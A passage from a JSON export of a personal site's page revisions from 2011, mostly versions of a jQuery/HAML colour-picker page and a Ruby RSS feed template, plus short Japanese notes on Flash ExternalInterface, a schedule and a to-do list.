\u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.color)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:10:48.000Z","updated_at":"2011-06-02T03:10:48.000Z"},{"id":1682,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this[list]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:11:02.000Z","updated_at":"2011-06-02T03:11:02.000Z"},{"id":1683,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+list[this]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n delete(list[this.color])\r\n console.log(list)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:13:31.000Z","updated_at":"2011-06-02T03:13:31.000Z"},{"id":1684,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+list[this]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n delete list[this.color]\r\n console.log(list)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:14:05.000Z","updated_at":"2011-06-02T03:14:05.000Z"},{"id":1685,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+list[this]+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.color)\r\n delete list[this.color]\r\n console.log(list)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:14:40.000Z","updated_at":"2011-06-02T03:14:40.000Z"},{"id":1686,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.color)\r\n delete list[this.color]\r\n console.log(list)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:15:03.000Z","updated_at":"2011-06-02T03:15:03.000Z"},{"id":1687,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+this+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.getAttribute(\"color\"))\r\n delete list[this.getAttribute(\"color\")]\r\n console.log(list)\r\n $(this).remove()\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = $(\"#name\").val();\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:17:13.000Z","updated_at":"2011-06-02T03:17:13.000Z"},{"id":1688,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+unescape(this)+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.getAttribute(\"color\"))\r\n delete list[this.getAttribute(\"color\")]\r\n $(this).remove()\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = escape($(\"#name\").val());\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:18:27.000Z","updated_at":"2011-06-02T03:18:27.000Z"},{"id":1689,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n クリックすると削除できるよ\r\n #before\r\n:javascript\r\n var list = $.parseJSON($.cookie(\"list\"))\r\n if(list == null || list == \"\"){\r\n var list = {}\r\n }\r\n \r\n var initial = function(list){\r\n $(\"div.color\").remove()\r\n $.each(Object.keys(list), function(){\r\n $(\"#before\").after(\"\u003cp class='color' color='\"+this+\"'\u003e\u003cb\u003ename:\u003c/b\u003e \"+unescape(this)+\" \u003cb\u003ecolor:\u003c/b\u003e \"+list[this]+\"\u003cspan style='background-color:\"+list[this]+\"'\u003e      \u003c/span\u003e\u003c/p\u003e\")\r\n })\r\n $(\".color\").click(function(){\r\n console.log(this.getAttribute(\"color\"))\r\n delete list[this.getAttribute(\"color\")]\r\n $(this).remove()\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n })\r\n }\r\n \r\n initial(list);\r\n \r\n $(\"#save\").click(function(){\r\n var name = escape($(\"#name\").val());\r\n var color = $(\"#t1\").val();\r\n list[name] = color\r\n $.cookie('list', JSON.stringify(list), { expires: 70 });\r\n initial(list)\r\n })","created_at":"2011-06-02T03:19:00.000Z","updated_at":"2011-06-02T03:19:00.000Z"},{"id":1690,"name":"ExternalInterface","body":"title JS から Flash のメソッド叩くアレの話\r\n# JS から Flash のメソッド叩くアレ(ExternalInterface)を使う時の注意点\r\n-Flash を object タグで呼び出す\r\n -IE で動くが Chromium とかで動いたり動かなかったりする \r\n-Flash を embed タグで呼び出す\r\n -IE で動かないけど他のブラウザだと動く\r\n\r\nという訳なのでブラウザを判別して IE では object タグで Flash を読んで他のブラウザでは embed タグで呼ぶようにすればいいと思います。\r\n\r\nマジ意味不明。\r\n\r\nIE というのは IE9 しか検証していないです。","created_at":"2011-06-02T07:06:11.000Z","updated_at":"2011-06-02T07:06:11.000Z"},{"id":1691,"name":"ExternalInterface","body":"title JS から Flash のメソッド叩くアレの話\r\n# JS から Flash のメソッド叩くアレ(ExternalInterface)を使う時の注意点\r\n- Flash を object タグで呼び出す\r\n - IE で動くが Chromium とかで動いたり動かなかったりする \r\n- Flash を embed タグで呼び出す\r\n - IE で動かないけど他のブラウザだと動く\r\n\r\nという訳なのでブラウザを判別して IE では object タグで Flash を読んで他のブラウザでは embed タグで呼ぶようにすればいいと思います。\r\n\r\nマジ意味不明。\r\n\r\nIE というのは IE9 しか検証していないです。","created_at":"2011-06-02T07:06:30.000Z","updated_at":"2011-06-02T07:06:30.000Z"},{"id":1692,"name":"schedule","body":"# ssig33 の予定\r\n# 平日昼間は人並に仕事してます\r\n\r\n## 6/2(木)夜 私用\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) ひきこもる予定\r\n## 6/10(金)夜 私用\r\n## 6/18(土)昼は暇 夜オフ会\r\n## 6/25(土)-26(日) まだ未定だけどいろいろある","created_at":"2011-06-03T05:29:50.000Z","updated_at":"2011-06-03T05:29:50.000Z"},{"id":1693,"name":"schedule","body":"# ssig33 の予定\r\n# 平日昼間は人並に仕事してます\r\n\r\n## 6/3(金)夜 私用\r\n## 6/4(土) - 6/5(日) ひきこもる予定\r\n## 6/10(金)夜 私用\r\n## 6/18(土)昼は暇 夜オフ会\r\n## 6/25(土)-26(日) まだ未定だけどいろいろある","created_at":"2011-06-03T05:30:16.000Z","updated_at":"2011-06-03T05:30:16.000Z"},{"id":1694,"name":"shunirr","body":"# shunirr\r\nだるい","created_at":"2011-06-05T11:06:41.000Z","updated_at":"2011-06-05T11:06:41.000Z"},{"id":1695,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:41:14.000Z","updated_at":"2011-06-07T13:41:14.000Z"},{"id":1696,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).select(\"distinct name\").each{|p|\r\n posts \u003c\u003c Page.where(:name =\u003e p).order(\"created_at desc\").first\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:42:27.000Z","updated_at":"2011-06-07T13:42:27.000Z"},{"id":1697,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).select(\"distinct name\").each{|p|\r\n p p\r\n posts \u003c\u003c (Page.where(:name =\u003e p).order(\"created_at desc\").first)\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:43:30.000Z","updated_at":"2011-06-07T13:43:30.000Z"},{"id":1698,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).select(\"distinct name\").each{|p|\r\n p p\r\n posts \u003c\u003c (Page.where(:name =\u003e p.name).order(\"created_at desc\").first)\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:43:48.000Z","updated_at":"2011-06-07T13:43:48.000Z"},{"id":1699,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(20).select(\"distinct name\").each{|p|\r\n posts \u003c\u003c (Page.where(:name =\u003e p.name).order(\"created_at desc\").first)\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:44:00.000Z","updated_at":"2011-06-07T13:44:00.000Z"},{"id":1700,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T13:47:18.000Z","updated_at":"2011-06-07T13:47:18.000Z"},{"id":1701,"name":"ToDo","body":"# ToDo\r\n## Fastladder の Rails3 へのアップグレード\r\n## MOU 解約\r\n## AU 解約\r\n## レイアウトをテンプレにべたっと書いてるのを Web 経由で書けるようにする\r\n## このサイトの CMS を整理して一般公開","created_at":"2011-06-07T13:49:43.000Z","updated_at":"2011-06-07T13:49:43.000Z"},{"id":1702,"name":"layout","body":"layout レイアウト\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2011-06-07T13:53:38.000Z","updated_at":"2011-06-07T13:53:38.000Z"},{"id":1703,"name":"ruby","body":"test","created_at":"2011-06-07T14:06:56.000Z","updated_at":"2011-06-07T14:06:56.000Z"},{"id":1704,"name":"ruby","body":"ruby\r\n\"ruby のコードを評価するやつを作った\"","created_at":"2011-06-07T14:07:40.000Z","updated_at":"2011-06-07T14:07:40.000Z"},{"id":1705,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(60).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-06-07T14:12:59.000Z","updated_at":"2011-06-07T14:12:59.000Z"},{"id":1706,"name":"ruby","body":"ruby\r\nstr = \"ruby 